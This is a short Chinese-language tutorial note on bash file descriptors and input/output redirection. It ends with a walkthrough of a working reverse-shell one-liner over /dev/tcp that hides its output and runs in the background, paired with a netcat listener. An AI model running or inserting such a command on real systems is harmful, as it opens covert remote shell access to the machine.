基础
* | 编号 | 设备 |
---|---|---|
stdin | 0 | /dev/stdin |
stdout | 1 | /dev/stdout |
stderr | 2 | /dev/stderr |
输出重定向
bash -i > /dev/tcp/127.0.0.1/8080
把输出结果发送到远程2>&-
关闭错误输出2>/dev/null
抛弃错误输出ls qqq >/dev/null 2>&1
把正确输出抛弃,把错误输出重定向到正确输出&>/dev/null
把所有输出都抛弃exec 1>log.txt
把后续所有标准输出重定向到文件(恢复使用exec 1>&2
)
输入重定向
echo whoami | bash -i
使用管道执行命令
分析这个例子:
`(bash -i > /dev/tcp/127.0.0.1/8080 0<&1) &>/dev/null`&
它首先把 bash 的输出都发送给了 127.0.0.1:8080
,并且这个文件的输出(对应于远程用户的输入命令)重定向到 bash 的标准输入。为了不让本地回显远程输入的命令,它还把这条命令的输出都发送给了 /dev/null
,最后让这个 shell 在后台运行。在运行这个命令前,在另一个终端中执行 nc -lp 8080
,等待这个反向 shell 的连接吧。